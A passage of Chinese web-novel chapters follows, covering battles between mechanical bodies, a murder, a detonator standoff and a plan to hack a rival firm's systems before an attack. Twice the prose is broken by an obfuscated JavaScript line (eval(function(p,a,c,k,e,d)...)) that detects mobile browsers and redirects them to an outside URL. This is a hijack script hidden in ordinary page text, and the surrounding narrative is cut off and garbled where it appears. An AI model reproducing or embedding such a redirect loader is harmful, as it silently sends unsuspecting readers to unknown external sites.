士兵们傻,机械体却不傻。几只同样会飞的机械体打头阵,一半跳到纪凛烛这边妨碍他们越墙,一半跳到那边去分开厮杀。 一只手臂就是翅膀形状的机械体格外厉害,女体比男体身形小巧,便灵活得多。那双茶晶色的眼睛自带透视,牵扯这边的同时还能穿墙看清那边的战况。 机械臂尖锐的锥体指尖划破了这只机械体的脸,那张漂亮脸蛋上顿时产生了一条长而深的疤痕。纪凛烛还有些不忍心,这些机械体一看年龄就不大,再打下去恐怕就直接废了。 正想着,身后的凛烛琢磨明白了他鞋底的喷气装置是怎么用,纪凛烛掐住那机械体的脖子,一把将其撞向墙壁,她顺便给了凛烛一个眼神,示意他先带绯篱过去。 玄烈那边也用库星锥斩开机械体们的前后封锁,见凛烛和绯篱刚落了地,想着纪凛烛或许随后就赶过来了,但等了片刻,还不见纪凛烛的身影。 他刚要蹬地而起再飞过去,韶赋修便瞬间出现,落在了那堵墙上。 202. 庆典(4) 韶赋修那庞大的身躯使这本就高得如深井一般的墙更加有了种难以抗衡的气势。他面对着纪凛烛那边的,只留给玄烈背影。 库星和库星锥都抓在手里,玄烈却注意到韶赋修那条机械左腿小腿处有一个巨大的伤口,边缘被火燎得黑黢黢的,从深度来看应该是多少能伤到他真实的腿。 玄烈想起游乐场那天,他被带到折叠迷宫时,韶赋修腿上就有这伤。看似不深不浅,却到今日还未被修好,想必是有些说法。 韶赋修居高临下地俯视着下方被逼到角落的纪凛烛,她身边遍地的屠杀的痕迹,汗水将她脸庞浸透了,血液也凝在她身上各处。即使这样,她也没让那条裙子有一分一毫的损坏。 炳灿的透视眼也发挥了作用,他拍拍脑袋让自己看得再清楚些,“那边就剩凛烛一个人了,士兵还在源源不断靠近她!” “原来你是借了第二战备的身体才活下来,舜真还真是有奇思妙想,”韶赋修蹲了下来,拉近与纪凛烛的距离,但他仍那样高,“这么说,我那场爆炸还是帮了你啊?” “是啊,”纪凛烛半带讽意地笑了,“不是您说的吗?要是启动第二战备的密钥不充足的话,就一把火烧了,重塑金身。” 不用看都知道韶赋修脸色有多难看,他象征性地略略回头瞄了玄烈一眼,“从此以后,你对玄烈再没有用了,哦……他以后就不叫玄烈了。小同志,永璃岛不是什么安生地方,你不该来的。” 他话音落下,一个人铿铿的脚步声便接近了纪凛烛。 “是那个死琀珏!” 炳灿瞪着眼睛盯着墙那边的一切,玄烈望着那堵墙,无论如何也难以穿墙望住纪凛烛的眼睛。他收起库星锥,预备将这墙直接炸掉。 “老师。”琀珏语气生硬地叫着,他没敢同纪凛烛对视,只微微低头盯着前方地面,做听令状。 “再给你一次机会,杀了她。”韶赋修轻笑着说。 这堵墙不是一般的厚,就怕炸塌之后形成的碎砖块废墟更要拦截纪凛烛逃过来的脚步,何况还有韶赋修在上面,能不能炸着他还是两说。 韶赋修话飘走有一段时间了,琀珏仍如死了一样伫立在原地。 “琀珏!”韶赋修双眼震怒得像是能爆发出激光来。琀珏微微抬起头,纪凛烛就在他面前沉默,高强度战斗令她身体极度脱水,她脸色有些泛白,淡妆也被汗冲刷得不剩多少了,嘴唇也是虚弱的颜色。 她今天穿那么好看,身上却有很多伤,机械臂隐隐冒着烟,一副已经穷途末路但仍坚强着的样子。 “你打不过我,琀珏,你会被我杀掉的。”纪凛烛轻声说道。 “你下不了手就让别的想立功的孩子来,”韶赋修不耐烦地站起身来,“但你要考虑好你的下场。” 墙外,他们像是被忽略了。玄烈抓着库星始终想不出一个很好的方法,直到他看到凛烛,回忆起过往的那些细节。 “凛烛,你之前在珣魑山里破洞是怎么做到的?” 那枚纽扣在方才的打斗中就回到了琀珏手里,他缓慢抬起右手,纽扣就凭空悬在他的掌心,白白亮亮的,像个小太阳。他猛然攥紧拳,抬头凝视纪凛烛,突然间,他狠狠将那纽扣甩了出去。 纽扣破空声同狂风声一样震耳,强大的摩擦力使其在空中便绽出火花,犹如彗星。但那纽扣在近纪凛烛身的刹那便扑了空,琀珏一恍惚,纪凛烛已闪至他身后,并将彻底蓄足力气的一拳捶向琀珏后背。 琀珏被那力量撞得近乎飞了出去,在离那墙只有十公分的距离,他依靠前方的纽扣得以缓充,这才停了下来。然而纪凛烛警告过后就不会给他喘息的机会,下一拳捣中他那扭曲变形的后背时,士兵们再次涌了上来。 第二拳比前一拳还要诚意满满,冲击波直接将那墙都震得颤了三颤,玄烈举着库星瞄准墙上他心口的高度,扣下扳机。 库星高度运作的声音比刚才大屏幕的卡顿还要难听数倍,韶赋修疑惑地回头,才发现库星所高速喷出的能量将那墙削了个大洞。很快,琀珏就因为身前没有墙面让他靠着而倒下。 “这就是第二战备,开眼了吧你!”炳灿没好气地瞪了琀珏一眼。 韶赋修刚要做出对策,玄烈便连着对韶赋修开了几枪,光团恍若一颗颗发光小行星引爆在韶赋修身边。 从那洞穿过来前,纪凛烛趁着混乱在琀珏耳边嘱咐了几句,“如果有机会,离开永璃岛。” 其实第一拳之后琀珏的脊骨柱就裂了,但纪凛烛在第二拳时有意护住了他的脊骨,既然他半点没有认真打的意思,她也不必追着要其性命了。 一口气逃到舜氏驻地前,玄烈掏出令牌指示斩翼军们做好准备。高处,韶赋修躲过玄烈的一连串攻击,一直跟随他们来到舜氏外圈,那些机械体和士兵也都被拦在了树林外。 “我最后问你们一遍,那录像,是真是假?”韶赋修以命令的口吻质问着。 “是真的,”玄烈冷眼道,“但你要么杀了我,要么再也别靠近舜氏半步。” 韶赋修的左耳被炸得粉碎畸形,映在地上的光影都是奇怪的形状。他没有回复,他下方不远处,一个身影在树林里回闪,“仪琅,拿到了吗?” 仪琅鬼头鬼脑地从树后钻出头来,他拍掉身上打斗过程中落下的灰,嘿嘿一笑走出树林,如视珍宝小心翼翼将一枚金光闪闪的磨砂芯片捧在手里,“拿到了!” 那物件十分眼熟,玄烈一愣,身边的纪凛烛便忽地伸手摸向自己右臂手肘上方的地方。只见她将那边拳头大小的肌肤连带着内部的金属板一起扯开,内部却空空如也。 一样的把戏,和第二阶段比赛前中场试炼数字牌同样的把戏!玄烈难以抑制眼底的恨意,脸颊肌肉微搐,眼睛死死凝望着那个该遭天谴的小偷。 “糟了,肯定是刚才混战的时候……”纪凛烛将那块金属板“咔”地一声大力扣了回去。 韶赋修沉默俯览着地面,芯片已然到手,他眼里却反而没了先前那番唯我独尊的傲气。他沉思了片刻,最后开口:“我给你三天时间考虑,如果你肯和我回涂云,我可以考虑放你朋友们一条命,反之,我将不会再给你机会。” 说罢,韶赋修就这样走了,连带着那些守在门口的士兵和机械体们也都撤走了。他们暂时安全了。 “芯片怎么办?”绯篱忧心忡忡看着他们远去。 “再加快进程,芯片短时间不会恢复能量的。”玄烈亦遥望着涂云方向。 “就看他们是要将就着植入芯片还是能够耐心地再 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恰逢中午至傍晚的临界点,阳光在雾一样的纱状云消散后愈发灿烂,甚至灿烂得有些过了头,永璃岛就像一座空岛一样安静地坐于海上,无风无浪,仿佛秋天被这样略显燥热的阳光重新驱赶走了,有种干了这票以后再不会生起太阳的感觉。 搬到安保部后的杨宁办公室不再像之前那样有宽阔的落地窗,他没有拉窗帘的习惯,阳光扑入他办公室所投映到地上的影子居然是斑点状暗红色的。 玄烈怔怔地推开那半掩着的门,看到好似经历过战争的杨宁办公室内一片凌乱不堪,倒塌的书架,歪斜的桌椅,玻璃窗、桌面、地板、书架,到处是暗红色的血,就算此时阳光正好也难以削弱这惨状给他们内心带来的巨大震惊和浑身泛寒的恐惧感。 纪凛烛赶忙冲过去跑到仰头靠在椅子上的杨宁身旁,他身上脸色也满是血,皮肤完全失去了血色,脖子处鲜明的深切伤口也已经停止涌血了。她探了探杨宁的鼻息和脉搏,其实不探也知道,她摇了摇头。 炳灿本来就累得恨不能拔掉芯片睡死过去,看见这幅场景他更是腿软要跪倒,还是绯篱和炬衍一左一右扶住了他。凛烛和伏策则机敏地打开腕表探测系统扫描各处,以便寻找真凶的痕迹。 玄烈最后踏进这片区域,他谨小慎微着,却还是难免踩到了地上混乱的血迹。杨宁尸体前桌子边的抽屉柜子全都大开着,里面一些办公用品和资料被折腾得乱七八糟。 很快恢复状态的炳灿颤颤巍巍地又翻了一遍,“确实没找到你们说的智识芯片副本。” “他身上没有挣扎痕迹,不像是经过暴力打斗和争夺。”纪凛烛合上了杨宁半睁不闭的双眼。 “那就只有舜希……”玄烈喃喃道。 “她怎么会知道咱们有副本?”腕表的探测光收起,凛烛走来问。 玄烈叹了口气,“那天在顶层实验室,我拿副本危胁舜希,危胁她要是一定要杀我,韶赋修不会放过她。” “脚印很乱,除了一个可以确定的女性外,其余脚印都比较符合黑寂军战靴制式,数量的话,不少于五个。”绯篱观察道。 “可能她猜测到了咱们会把副本放在这里……”纪凛烛随手抓来一张纸抹去了手上杨宁的血,“走吧,问问舜希。” 203. 战备(1) 舜希办公室要再绕几条路才能到达,在那之前,玄烈分别给棱镜、崎钥和崎朗通了电话。棱镜和大批斩翼军在最后关头由福戒早早设下的安全密码绳护送,顺利来到了现实,而那些作为“数码人”的斩翼军却因为没能及时得到接应而永远地同骨环留在了那里。 崎钥和崎朗也都各自忙着各自的事,舜氏时局尚不平稳,一些高层也见情势不对而逃离了,总裁是颠转前就跑了的,董事会也一人不剩,股东也巴不得永久和舜氏脱开干系,于是一些存活的普通工作人员都被破格提拔了好几层,一些机械体被迫承担了管理公司事务的职能。 而玄烈通话也是此意。他向棱镜要到了舜氏部分海外分公司的名册资料,又要崎钥崎朗时刻监督本公司剩余人员的状况.要是他们逼不得已真的得将权力从舜希那里抢过来,也好歹能有人补位。 “舜希制造颠转夺权的时候切断了舜氏和原本那位董事长的联系,现在她不知下落,小真也曾经想办法联系过,目前已知的是此人还活着,颠转前从分公司退休了,或许可以再请她回来。”纪凛烛带来了第二战备基地时他们获得的信息。 “我那里也有遥遥姐掌管的行政名单,市政府早在颠转时期就转为地下办公了,舜氏和涂云也都分别签署了协议,只要永璃政府还有人在,我就能想办法要来重建舜氏的资源。”绯篱表情笃定道。 “绯篱你怎么这么厉害啊,要是以后我还活着我就跟你混了!”炳灿矫揉造作地来了一句。 绯篱嗤嗤一笑,“好啊,让你去管食堂的小机器人!” “有没有搞错——” 在炳灿的哀嚎中,他们来到舜希办公室,可这里没有人,门是敞开的,窗户也大开着,纱帘在风里飘荡。 “起风了。” 纪凛烛话落,他们又来到了实验室。 舜希已经没有能去的地方了。实验室昏暗无比,唯有屏幕上一刻不停循环播放的凛烛记忆。玄烈一进这令人压抑的黑漆漆地方就总不自觉心里捂着一股火,他走出电梯,看见前方舜希背影的第一眼就立刻召唤出燃火的库星锥幻影。 “就这么把她杀了啊?”炳灿小小声说。 “不是,太黑了,心烦。” 玄烈说着,手一挥,无数个幻影便四散飞去,扎在了实验室天顶地角各处,房间顿时在火光照耀下明亮起来。这些在舜氏生活了这么久的人,也终于看清了实验室各个角落究竟什么样子。 一如他们曾向杨宁要到的监控里看到的那一段,舜希也是静默地靠在金属台子边盯着屏幕一动不动,只是这次她并没有将视频的声音放出来,就像在演默片,褪去语言表达的众人在屏幕上的各种表情都显得十分滑稽。 “是你做的吗?”玄烈出口打破了此刻意味深长的无声。 大约过了三分钟,舜希站直了身子,新的外骨骼不像之前那副凸显她那孤傲清冷的气质,也或许是因为他们都知道了这外骨骼对她而言其实充当的更多是拐杖的作用,就不再会高看这外骨骼一眼了。 只见她散漫地缓缓踱步向一旁的智识芯片信息提取器,将那复刻下的灰色简朴芯片取了出来,“是我。” “你何至于把他杀了,”玄烈面无表情道,“你很恨他吗?” “恨……”舜希随手将那副本丢入一旁的垃圾桶,向他们走来时有意鄙夷地略略抬眼瞟了下四处发光的库星锥幻影,“恨倒是说不上,但这不才是最差的吗?连恨都没有。对于一个无所谓的人,我不需要,就杀了。” 玄烈哼了一声,“你现在不怕韶赋修进攻舜氏了?” “怕不怕的又怎么样呢?反正为了‘钢钉’,你不会希望我消失的。”舜希浅笑两声。 玄烈盯着她那憔悴的面容,他们虽离得不算近,但他还是发觉了舜希和舜真不同的一点。被导弹击中后负伤的舜希才开始进行机械义体的改造,她不像舜真,早在二十年前就被更改了人生轨迹,于是她们俩的面容是有差别的。 舜真到死都还是那副永葆青春的样子,而舜希脸上已经稍显岁月侵袭的痕迹了。想着想着,玄烈唤出库星锥,锥面燃火,更是将他这一侧区块照得更加亮堂了。 “你想错了。‘钢钉’的运作我们不担心,没了你,我们依然会让它运转下去。所以,你消失也无可厚非。” 话至此,玄烈向前一步。舜希却好像胸有成竹全然不惧她的下场,她只是静静聆听着脚步声,然后在那刃接近时忽地举起了什么东西。 库星锥停在半空,玄烈看清了那按钮一样的东西。舜希弯起眼尾,“这是‘钢钉’系统最重要的一环,引爆器。” “引爆器?引爆什么?”炳灿隔得远远地问。 “当然是……”舜希将那按钮高高举起,“引爆你们。” 见近在咫尺的玄烈眉目紧皱,舜希满意地后退几步撤出了个安全距离,“凡是植入‘钢钉’的机械体都由这枚按钮控制,如果有谁不听话,砰——” 舜希做了个摁下按钮的动作,炳灿吓得身体一抖,炬衍也下意识后撤了半步。 “就凭这个,你们不会希望我消失的。”舜希道。 僵持片刻,玄烈收回库星锥,也后退两步,“你彻底断了舜氏的后路。万一我投靠韶赋修呢?” “那么我会和舜氏一同消失。”舜希微笑道。 “你既想留住舜氏,为什么不肯出兵帮我们?”纪凛烛走了出来。 “帮你们的后果就是舜氏变成了你们的舜氏,那我还有什么作用呢?”舜希靠回金属台边,“你们打得挺好的,我看我不需要……” “话说得轻巧,”纪凛烛再逼近一笔,凌厉语气压过舜希一筹,“那你这么多年岂不是竹篮打水一场空?你认为你死了就完了吗?你所做的牺牲和隐忍换来的失败会被人嘲笑千年,到最后,你要守护的、你渴望的一切都不剩下!” 舜希就安静地听完纪凛烛说这些,她眼神平稳有力地看着她,像是在迎接她的一步步接近,“所以,你认为我该做的是用我争取来的权力帮助你们,再等待你们胜利后将我踹下台吗?” “就一点,我们是目前为止你击败韶赋修唯一的帮手,错过这次,韶赋修将不会给你和舜氏缓冲的可能,你舍不得动的黑寂军和机械体们都会变成韶赋修的磨刀石,你也不会有可能等到站起来的那一天。” 纪凛烛话音落下,舜希凝滞一阵,收起了她笑容里的狠意。过了一会儿,她将那枚引爆器收起。 “帮手?嗯……好,我可以帮助你们进攻涂云,但我也有条件,胜利后,我依然是舜氏的董事长。” “没问题,”玄烈答道,“但是,我有一个问题必须要问清楚。” 玄烈上前一步,“你能确定舜氏的机械体,没有感染韶赋修发明的病毒吗?” “要是有呢?”舜希挑挑眉,“你也害怕他的病毒控制器吧?” “‘也’?我不害怕,害怕的是你,”玄烈从舜希的只言片语间捕捉到了有利信息,这使他放下心来,终于可以平和平等地谈条件了,“既然如此,也不用谈合作了,你,必输无疑。” 听此,舜希的笑颜凝结成一滩难看的死水,但她又很快恢复过来,“开个玩笑。我确定,没有,”舜希每个字都咬得特别重,表示毋庸置疑和万分肯定,“韶赋修走得最错的一步棋就是让我知道了他潜藏在舜氏的事实,从那一刻起,我就已经防着他这一手了。” 从实验室出来后,炳灿穿过众人蹭到玄烈身边,“她再当董事长会出大事的!到时候舜氏变成第二个涂云也说不定……” “不会说让她当就让她当的,”纪凛烛从一边插过话来,“何况她居然能答应得这么爽快,估计也有猫腻。” 走出电梯时,玄烈停下脚步,“炳灿,你还有多久?” “三十六个小时。”绯篱道。 走廊尽头,金光斜射进小方窗,恰好借金属地面的反光全都映在他们身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没关系啊,咱们不是有斩翼军吗?”炳灿蹬地让转椅原地转了两圈,第三圈时,椅子背被凛烛一手摁住,炳灿险些飞了出去。坐稳身体的炳灿气不打一处来,他刚要给凛烛撇去两个发狠的眼神,玄烈就开了口。 “是有斩翼军,但这次……”玄烈在“斩翼军”三个字上画了个叉,“斩翼军不参与战斗。” “为什么?!”在场一半的人都发出了相同的疑问。 玄烈扯开旁边的椅子坐下,“两块联系起来看。我和阿烛都还是觉得舜希答应得很反常,所以我做了一个假设。”说着,他在“斩翼军”和“七十二”字样中间画了个双箭头。 “被‘钢钉’介入的机械体会在七十二小时后完全变成只受‘钢钉’操控的傀儡,所以舜希其实希望的是咱们最好能赶在七十二小时的临界点向韶赋修发起进攻。因为她和韶赋修是否还有别的交易我们不得而知,但她很可能在完成对你们的操控后直接反攻我们而不是韶赋修,她从一而终希望首先出局的还是我们。” “所以还是得留着斩翼军。”纪凛烛接茬道,“她可以用引爆器牵制我们,我们也同样可以用斩翼军的存在牵制住她,而且既然舜希开放了舜氏的资源,那就用到底。不到万不得已用不着拼尽全力,我们现在的处境要比她好得多。” “有道理,”伏策点点头,“那就以炳灿的时间为基准,现在还剩下三十多个小时,抛开做准备的时间……” “倒计时十二小时怎么样?”凛烛戳了戳正生他闷气的炳灿的脸,搞得炳灿一阵阵怒火浇心大力拍开了凛烛的手,“啪”的清脆声响在会议室里回荡。 “用不着十二个小时!二十分钟我就把这个死、死……把这个假凛烛捣成蒜泥!”炳灿白了凛烛一眼。 “你生什么气啊,还有,我再捣也是金属泥,变不成蒜泥。” 凛烛的话幽幽飞过,炳灿气得呲牙咧嘴,可还没等他动手报仇,会议室的门就被“吱呀”一声推开了。 灰色无光眼眸投出的视线率先定在房间尽头的玄烈身上,随后身体如鬼魂般飘了进来。 灼琛依然板着那张失去神智的脸,他环视了一圈,找了个空椅子坐下,“十二小时可以。” 204. 战备(2) “那就这么定了。”玄烈尽量对灼琛的到来显得不那么惊奇,否则他一个微表情被灼琛捕捉到,灼琛定会觉得他们不欢迎他。 但玄烈收敛也没用,炳灿早就脸色不爽了,“是舜希让你来的吗?” “是舜董。”灼琛冷冷地说。 “哎,你还记得我吗?”炬衍不死心地在灼琛眼前晃手,灼琛也乖乖顺着他手对上了他的眼睛,“记得,你是炬衍。” 炬衍刚要大喜,炳灿的一盆冷水又泼了上来,“记得也没用,在他眼里,什么炬衍伏策玄烈绯篱都和炳灿一样,他认不出来。” “分得清,绯篱是女生。”灼琛语气死板地说。 炳灿又被噎了,他知道再吵下去也没结果,于是干脆大发慈悲地转过身去不再沟通。见状,玄烈敲了敲”蓝幕盾“三个字,赶忙把话题收回到正路上。 “最后一点也很重要,那就是我们要尽量把战争主动权和控制权抓在手里,最起码我们不能主动发动大杀伤性武器,否则后果不堪设想。但舜氏也不能坐以待毙,我们同样得做好涂云拼死一搏的准备,所以……舜氏必须重启蓝幕盾,并且向内开放朝向涂云。” “复议!”炳灿撒气一样举手喊了一声。 “上一次和潼氏一战后蓝幕盾就没被启用过了,检损和维护大概还需要一点时间。”纪凛烛道。 “啊,颠转的时候我曾被命令去检查蓝幕盾在颠转内能不能用,可惜结果是失败的,好像蓝幕盾天然和颠转相互抵触。但我确认过蓝幕盾状态完好,检查起来应该不会太久,我可以帮忙!”绯篱接着道。 玄烈放心下来,“那就好……” “蓝幕盾和颠转不抵触。”突然,灼琛呆愣愣地来了这么一句。 “什么意思?”炬衍问。 “蓝幕盾可以在颠转内使用,但我当时将蓝幕盾锁住了。”灼琛盯着桌面双眼失魂地说。 “为什么啊?你不是舜希的人吗?”炳灿提起了兴趣,专门趴到灼琛那边桌子上企图和他物理对视。 灼琛忽地抬起头把炳灿吓了一跳,“不知道,我就是做了。” 这天讨论到最后灼琛也没有给出明确的理由,他已经无法给他被操控前的行为做出解释了,况且此刻再解释什么也没多大意义。彼时天已经黑透了,稍作分工后他们便散开各自做各自的事去。 第三日清晨,在万物尚且安眠的时候,炳灿忽而爆发出惊天地泣鬼神的一声叫喊,吓得众人大气不敢喘一个就全都跑到了会议室。 会议室没人,炳灿的声音还不是从这发出的,他们只好继续循声找炳灿的踪影。等到他们在楼里基本完成了一套马拉松后,他们在通讯室找到了炳灿。 通讯室不是寻常地方,其机密程度堪比半个颠转控制室。被线缆和大型计算机堆得略显拥挤的房间中,能照亮他们的光源除了炳灿面前那六扇显示屏外,就只有一台台主机上释放的暗淡点光,还有幽蓝色的线光游走在墙角。 “你、你叫什么!”伏策怒气冲冲指着笑呵呵的炳灿的鼻子问。 炳灿拨开伏策的手,指了指一直在他身边的灼琛,“那天走的时候玄烈不是让我想办法看能不能黑进涂云系统嘛,结果灼琛这家伙说他能帮忙。他说当时新建涂云的时候有点匆忙,加上潼氏是被涂云收购的,他们建立涂云系统的时候就基本是潼氏系统换了个皮。灼琛在这两个地方都待过,他稍微指点一下我就进去啦!” “进去了?”他们纷纷挤到那堆显示屏面前,对着屏幕上乱七八糟的字母和数字发呆。 “你整晚都在这吗?”玄烈震惊。 “是啊,我看你们这拨人里能把黑人家系统的事干得这么漂亮的就只有我啦!专业的事还得专业人干!” 凛烛和伏策刚从食堂回来。凛烛丢给炳灿一只三明治,“吹吧你就。” 炬衍抹了把嘴边的牙膏泡沫随手一甩,“那你叫什么啊你直接有事说事不就得了吗!搞得我以为你丫被暗杀了!” 白色泡沫飞扬,在空中划过一条气势汹汹的弧度,炳灿机灵地往旁边挪了挪。“哎你别甩我身上啊!”他指着右下角屏幕上的某一串代码,“要不要看看他们机械体的内部论坛?” “点开看看。”玄烈拍拍炳灿肩膀。 一打开他们就傻了眼,涂云好像这两天发生大事了,按时间顺序来排的话,新帖子几乎三秒一条,而且部分新帖还在以三分钟一百层楼的速度往上顶。 “发生什么事了?”凛烛问。 炳灿愁眉不展地接连点卡那些帖子,三秒后,他跳了起来,“什么?!他们说那枚芯片已经植入琀珏体内了!” “琀珏?”玄烈半信半疑地挤开炳灿半个身位到屏幕前。 “居然不是韶赋修自己用吗?”纪凛烛揉揉眼睛。 一个没看住那些帖子就接着哗啦哗啦又顶上来一堆,这些机械体有喊好的也有不服气的。一部分觉得涂云领导还是太人性了,有这好事竟然能落到机械体身上,一部分又唱衰道要是有朝一日琀珏崛起,那涂云除了他就不会再留别的机械体了。 那些小孩的意见五花八门,看来涂云那边还尚未发现他们的入侵。 “能直接联络仪琅吗?”玄烈突然问道。 “联系他干什么?”伏策不解。 “刺激他,看看他有没有什么消息能提供。” 炳灿退出论坛,切入仪琅的ID,一个空白对话框立刻跳出来,“怎么说?” 与此同时,涂云。仪琅彻夜未眠坐在窗边数星星看月亮,现在太阳升起了,数太阳太无趣,他开始数城中央到底有多少座三十层以上的高楼。 有生以来他第一次感到惆怅,是那种从电视里或历史书上读到的感觉,那种郁郁不得志的心绞痛感。他不敢进休眠舱,也赌气一般许久没出门了,可是无一人来叫他。 他感觉自己变成了沧海遗珠,明明身怀绝技怀才不遇,却被韶赋修个杀千刀的无视了。正闲得快长草的他考虑要不要硬着头皮走出门时,一条阅后即焚的内部陌生消息发来。 一点开就是令他双眼一黑的字。 ——你不惜代价偷到的芯片却到了琀珏身上,你不觉得不公平吗? 不公平!当然不公平啊!仪琅忍住破口大骂的冲动,冷静回复了三个字:“你是谁?” ——我是觉得这件事不公平的人。 “鬼才信……”仪琅嘟囔着,接着回复道:“再不报上你的名字我就要去信息部查你了。” 另一头,玄烈抱起手臂盯着炳灿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765592|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对啊,当初你给我发匿名消息的时候,我也该硬气一点,直接说要查你。” 炳灿伸出食指晃了晃,“不不,你去信息部的话会遇到我,而我会说‘不好意思哦同学,查不到的呢~’” 无言,玄烈撇了撇嘴,注意力回到和仪琅的对话上,“接着和他绕。” ——你甘心吗? ——哦,你不会是舜氏那边派来的吧? “他发现了!”炬衍刷牙刷到一半指着屏幕。 “不管他!”炳灿说着,手下噼啪不停打着字。 ——我不是,但我觉得你才是更厉害的那一个,你应该虎气一点,把芯片抢过来。 ——你不信我现在就告诉韶赋修,让他制裁你! ——我是为你考虑啊……如果你办不到,那就让别人来。 片刻,仪琅没有回复。玄烈摁下还要发什么的炳灿的手,“不着急,给他时间考虑。对了,能进他账户吗?” “账户?你要偷钱啊?”炳灿表情仿佛在说:“看透你了!” “不是,你先进。” 没过一会儿,两条来自仪琅的长信息展现在屏幕上。凛烛笑了,“上钩了!” ——琀珏原本实力就很一般,纵使给他芯片也提高不了多少。他们最近在尝试给芯片注能了,目前应该还不能完全自主释能。要想完全发挥芯片作用就必须和韶赋修一起,他就像琀珏的拐杖,丢了拐杖就是丢了腿脚,我只说到这里。 ——但是,韶赋修的实力远比你们所想的更可怕,你们以为他只看重这枚芯片吗?错了,他早在二十年前就已经开始研发了自己的芯片。等到你们那枚芯片在琀珏身上完成激活后就会同这一枚芯片融合,到时……你们好自为之。 “还挺聪明的,倒认出咱们了。”炳灿道。 “什么叫琀珏身上完成激活?”绯篱拍拍炳灿,“问问他。” ——激活的意思就是,他们只用琀珏作为芯片恢复能量的温箱,等到芯片重新储能的后期,琀珏就会因为难以承载芯片而死掉的。注意,是会爆体而亡! 后四个字仪琅发来时故意调大了几倍,显得特别瘆人。 “他有病啊!那他没植入这芯片是好事啊,他不服气个头!”炬衍在起床气和生炳灿气的双重作用下几近爆发了。 “也是可以嫉妒的吧,”凛烛认真盯着屏幕上的那几条字,“第一,即使琀珏会死,那他在生前也能够得到仪琅一辈子够不着的力量。第二……或许是他觉得,连替死鬼都轮不到他。” “我以前训练的时候也遇到很多这样的事,”炳灿一本正经地说,“当时训练日志系统里有个公开投票,问机械体们被怎样对待是最难以接受的。我当时投的是‘被打骂’,但到最后得第一名的选项竟然是‘被忽视’……他可能现在就有这样的感受吧。” 左下角刚才一直走进度条的屏幕突然亮了,炳灿赶忙操作一通。 “怎么样?”玄烈问。 炳灿大力拍下一个按钮,“叮咚”一声响,几份大厦内部构造平面图便展现在屏幕上,“搞定!” “这是什么?”纪凛烛问。 “我黑进了仪琅的账户,用他的号在涂云线上情报交换处买了一份涂云地图。”炳灿得意道。 205. 十二时(1) 倒计时十二小时,凌晨四点,一行人浩浩荡荡准时在舜氏门口集合。 天还没放亮,在这个不知不觉间从秋天滑向初冬的季节,黑夜只会越来越漫长。舜氏前方的这片树林的叶子已经落了两茬了,还没到树叶完全枯黄的时候,一些还鲜嫩的绿叶就被风蛮不讲理地裹挟飞走,像是在说:“反正总是要落的。” “一定要速战速决,”玄烈将便于联系的耳夹分发给每个人,以便应对危急时腕表可能失灵或操作不便的情况,“倒计时十二个小时但不代表咱们就有十二个小时,战争拖越久越不占优势,昨天做的部署大家都还记得吗?” “没问题,我和伏策去抢芯片。”凛烛道。 “不是抢,”玄烈将耳夹卡在自己耳朵上,“芯片的具体状态我们不得而知,你们只需要把琀珏引走就好了。切记,一定不要冒险,活着最重要。” “我和灼琛护送你们一路向上。”炬衍说。 “我和绯篱的任务是直捣涂云控制中心,让他们全都乱套!”炳灿一袭黑衣,只露出他那白灿灿的脸来嘿嘿一笑。 “你怎么穿成这样啊?跟个耗子似的。”炬衍拨弄了两下炳灿那乌漆嘛黑的“忍者服”,却被炳灿打了手。 “哎,别瞎碰啊,我这衣服里全是暗器!小心锁了你的喉!还有,什么叫耗子啊,会不会说话啊你,玄烈还穿得像个小白脸一样呢你怎么不说!” 听到话题扯到了自己身上,玄烈低头看看自己身上这套,“很奇怪吗?是棱镜给我的,说是用斩翼军翅膀上虹金制成的战斗服。” 实在太闪亮了,尤其是胸膛和腹部的位置,昏暗天光下也能绽放出虚假异常的明亮色彩,那天亮了还了得?恐怕能直接当反射板来用,用光污染来攻击对手。 “你怎么不给我们也弄一身啊?”炳灿时不时投去羡慕的目光。 “玄烈问我了,但是考虑到大家情况都不一样,什么衣服最舒服最便于行动只有自己知道,”凛烛将手搭在炳灿肩膀上,“不信你试试穿玄烈那一身,别说跑了,估计重得你能变成乌龟。” “乌龟太不好听了吧?”伏策仗义执言。 凛烛摊摊手,“没办法,能力达不到,我穿也是乌龟。” 炬衍眼神还停留在玄烈那虹光闪闪的衣服上,嘴里嘟囔着:“挺好看的啊,不像某些耗子……”。 “你什么意思啊!”炳灿看看玄烈再看看自己,还想再辩解什么,后来自己也觉得这一身黑是有点滑稽了,“什、什么耗子……没礼貌。” 纪凛烛也一身暗色调,没穿她之前戴着面具三番五次出现在玄烈面前的那身装扮,“真正打起来,卫衣也不见得舒服轻便,一跑就兜风。” 于是她也是头一回在众人面前穿上与第二战备相配套的一身深灰色战斗制服。出于防护考虑,这身看似修身的制服实际内里衬着三到四层合金板和韧性极强的纳米材料,只是手臂处为配合机械臂而削去了这几层。 “伤好些了吗?”玄烈看着这将她浑身裹得严严实实的衣服,不禁有些担心。 “差不多,基本没什么事了,”纪凛烛拍了拍自己大臂和肩膀,“放心吧,没影响。” 玄烈点点头,旋即面对众人,“准备好了吗大家?” “好哦!”“没问题。”“OK。” 一转身,八个人身影消失在树林里。 凛烛提前计算了涂云可能在路口设置的哨点已经巡逻队伍,他们相互配合着,很快就拐到了涂云正门口前方的一处拐角。玄烈扒在墙角边,其次是纪凛烛和绯篱,三人都一门心思观察着涂云门口往来的士兵,思考何时下手怎么下手为好。 还没开始打仗呢炳灿就撤掉了他头上围着的头巾,憋得他感觉大小脑快萎缩了,“怎么天还没亮啊,没光我没安全感。” “等打起来你就没那么多要求了,到时候一个炸弹向你扑过来,你是说好亮好热还是赶紧躲?”炬衍笑道。 